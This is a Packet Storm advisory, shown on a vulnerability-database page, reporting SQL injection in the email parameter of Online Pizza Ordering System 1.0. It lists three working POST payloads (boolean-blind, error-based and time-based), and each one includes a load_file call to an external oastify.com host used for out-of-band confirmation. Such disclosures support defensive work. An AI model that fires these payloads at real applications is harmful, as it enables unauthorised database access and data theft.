Lucene search
K

Online Pizza Ordering System 1.0 SQL Injection

🗓️ 07 Jun 2024 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 358 Views

Online Pizza Ordering System 1.0 SQL Injection vulnerability in email paramete

Code
`## Titles: opos-1.0 Multiple SQLi  
## Author: nu11secur1ty  
## Date: 06/07/2024  
## Vendor: https://github.com/oretnom23  
## Software:  
https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The email parameter appears to be vulnerable to SQL injection attacks. The  
payload '+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+' was submitted  
in the email parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
  
---  
Parameter: email (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload:  
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=  
[email protected]'+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND  
9762=9762 AND 'REtq'='REtq&password=e7E!x2k!U6  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload:  
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=  
[email protected]'+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND (SELECT  
3595 FROM(SELECT COUNT(*),CONCAT(0x7176766a71,(SELECT  
(ELT(3595=3595,1))),0x71716b7671,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND  
'Gtza'='Gtza&password=e7E!x2k!U6  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload:  
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=  
[email protected]'+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND (SELECT  
3908 FROM (SELECT(SLEEP(7)))ddOC) AND 'ECyu'='ECyu&password=e7E!x2k!U6  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/opos-1-0-sqli-105752878)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/06/opos-10-multiple-sqli.html)  
  
## Time spent:  
00:19:00  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jun 2024 00:00Current
7.4High risk
Vulners AI Score7.4
358